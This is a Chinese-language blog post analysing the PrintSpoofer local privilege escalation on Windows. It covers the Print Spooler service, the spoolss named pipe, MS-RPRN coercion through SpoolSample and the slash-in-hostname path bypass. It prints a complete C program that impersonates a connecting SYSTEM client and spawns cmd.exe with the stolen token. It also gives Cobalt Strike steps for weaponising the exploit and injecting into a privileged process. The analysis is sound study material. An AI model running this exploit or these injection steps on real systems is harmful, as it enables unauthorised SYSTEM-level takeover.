PrintSpoofer漏洞以及本地提权利用分析

前言:PrintSpoofer漏洞分析笔记

参考文章:https://www.cnblogs.com/zpchcbd/p/17944418
参考文章:https://www.cnblogs.com/zpchcbd/p/12924637
参考文章:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
参考文章:https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/fdf1138a-f6b9-4b00-ada6-1fbb6097d683
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9b3f8135-7022-4b72-accb-aefcc360c83b
参考文章:https://github.com/leechristensen/SpoolSample
参考文章:https://learn.microsoft.com/en-us/windows/win32/secauthz/impersonation-levels
参考文章:https://github.com/crisprss/PrintSpoofer
参考文章:https://github.com/fortra/impacket/blob/master/examples/rpcdump.py

上面两篇笔记学习了两个点

  • 讲了关于RPC的客户端和服务端的编写

  • 命名管道模拟客户端权限的编写

打印机Printer

服务

打印机Printer对应的服务是Print Spooler Service,默认情况下打印服务是启用的,它管理系统中所有打印队列,并确保打印命令正确地发送到计算机连接的打印机。

进程

打印机Printer对应的进程是Spoolsv.exe,该进程负责将用户提交的打印任务添加到打印队列中,并将其发送给相应的打印机进行处理。它还负责监控打印队列的状态,处理打印错误和通知用户打印任务的完成情况。

通过powershell执行下面的命令可以看到当前打印机服务是否在运行中,如下图所示

tasklist /svc | findstr spoolsv

知识点:这里的Spoolsv.exe是SYSTEM进程,是一个特权进程,如下图所示

管道

参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/fdf1138a-f6b9-4b00-ada6-1fbb6097d683

打印机Printer对应的管道名为\\.\pipe\spoolss,该管道是一个命名管道,用于在进程间传输数据。

我们如果后期和Spoolsv.exe进程进行通信的话,都是需要跟管道\\.\pipe\spoolss进行打交道才可以,正常是写入数据到管道中,然后Spoolsv.exe去读取管道中的数据执行相对应的操作,这也是一种常见的IPC(Inter-Process Communication,进程间通信)方式。

协议

参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1

打印机之间通信的协议规范是基于远程过程调用 (RPC) 协议中的MS-RPRN的实现。

SpoolSample项目

参考文章:https://github.com/leechristensen/SpoolSample
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9b3f8135-7022-4b72-accb-aefcc360c83b

SpoolSample项目关键功能实现了打印机之间的通信功能,具体如何用于连接打印机,其中Windows API中的RpcRemoteFindFirstPrinterChangeNotificationEx函数,它可以创建一个远程更改通知对象,该对象监视对打印机对象的更改,并使用RpcRouterReplyPrinterRpcRouterReplyPrinterEx将更改通知发送到打印客户端。并且就是通过命名管道实现进程之间的通信。

DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD fdwFlags,
[in] DWORD fdwOptions,
[in, string, unique] wchar_t* pszLocalMachine,
[in] DWORD dwPrinterLocal,
[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
);

其中的pszLocalMachine参数就是我们可控的地址,这个地址的格式可以是DNS,NetBIOS,IPv4,UNC,IPv6

PrintSpoofer本地提权漏洞

按照之前的笔记关于命名管道模拟客户端权限,那么按道理来说现在只需要实现如何让具有SYSTEM权限的管道客户端进程访问我们模拟的恶意命名管道服务端就可以实现本地提权了。

而这里的Spoolsv.exe权限是SYSTEM,并且对应的管道是\\.\pipe\spoolss,那么让Spoolsv.exe对模拟的管道发出连接请求即可实现。

这边的话通过SpoolSample让服务端打印机SYSTEM权限来访问我们本地客户端模拟的命名管道\\.\pipe\test,执行如下命令,但是这边可以看到并没有受到打印机的请求

SpoolSample.exe 192.168.75.1 192.168.75.1\\pipe\test

这边通Process Monitor来进行抓取流量可以看到对应的情况,可以看到请求这边强制请求的地址是192.168.75.1\\pipe\test,但是实际情况上还是依旧会请求192.168.75.1\\pipe\spoolss

而这边的话本地本身是存在spoolss的,如果再指定spoolss命名管道创建的话是存在创建失败的情况,如下图所示

Server Names路径解析绕过

而漏洞作者这边的话发现该UNC的格式是可以进行绕过的,如果主机名包含/,它将通过路径检验,但是在计算要连接的命名管道的路径时,规范化会将其转换为\,比如我们这边执行下面的命令

SpoolSample.exe 192.168.75.1 192.168.75.1/test

可以看到,此时/test自动转换为了\test,然后再后面添加上了\test\pipe\spoolss

那么这里的创建对应的管道定义就是\\.\pipe\test\pipe\spoolss的管道路径我们是可以正常创建的,如下图所示

hPipe = CreateNamedPipe(L"\\\\.\\pipe\\test\\pipe\\spoolss", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

接着SpoolSample执行命令连接管道\\.\pipe\test\pipe\spoolss,如下图所示

SpoolSample.exe 192.168.75.1 192.168.75.1/pipe/test

main.c

#include<stdio.h>
#include<windows.h>
#include<sddl.h>
int wmain(int argc, wchar_t* argv[]) {
HANDLE hPipe = NULL;
HANDLE tokenHandle = NULL;
HANDLE newtokenHandle = NULL;
STARTUPINFO startupInfo;
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION processInformation;
wchar_t recv_buf[1024] = { 0 };
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
hPipe = CreateNamedPipe(argv[1], PIPE_ACCESS_DUPLEX, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("[!] CreateNamedPipe Failed %d\n", GetLastError());
return -1;
}
printf("[+] CreateNamedPipe Successfully\n");
//服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(hPipe, NULL)) {
printf("[+] ConnectNamedPipe Successfully\n");
if (ImpersonateNamedPipeClient(hPipe) == 0) {
printf("[!] Error impersonating client %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] ImpersonateNamedPipeClient Successfully\n");
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
printf("[!] Error opening thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] OpenThreadToken Successfully\n");
if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
printf("[!] Error duplicating thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] DuplicateTokenEx Successfully\n");
if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] CreateProcessWithTokenW Successfully\n");
CloseHandle(hPipe);
}
return 0;
}

为什么客户端不需要权限就可以访问服务端的spoolss管道

参考文章:https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/fdf1138a-f6b9-4b00-ada6-1fbb6097d683

武器化实现

参考文章:https://github.com/crisprss/PrintSpoofer

将其转换为rdi反射注入的形式,这边通过mssqlserver服务账号来启动一个beacon,如下图所示

执行elevate PrintSpoofer,选择对应的监听器进行上线,如下图所示

当前你会发现虽然拿到了一个system权限的beacon,因为是以rdi反射注入的形式,可能还是存在安全上下文的关系导致无法执行高权限操作,这边的话测试可以通过通过注入其他高权限进程然后执行高权限操作,这边的话注入一个高权限的pid进程,如下图所示

inject 3728 x64 https

然后再拿到一个新的system会话,这个时候再执行高权限操作即可,如下图所示

实战中如何检测对方主机中是否运行打印机服务

参考文章:https://github.com/fortra/impacket/blob/master/examples/rpcdump.py
参考文章:https://github.com/xpn/RpcEnum
参考文章:https://github.com/csandker/RPCDump

posted @   zpchcbd  阅读(748)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示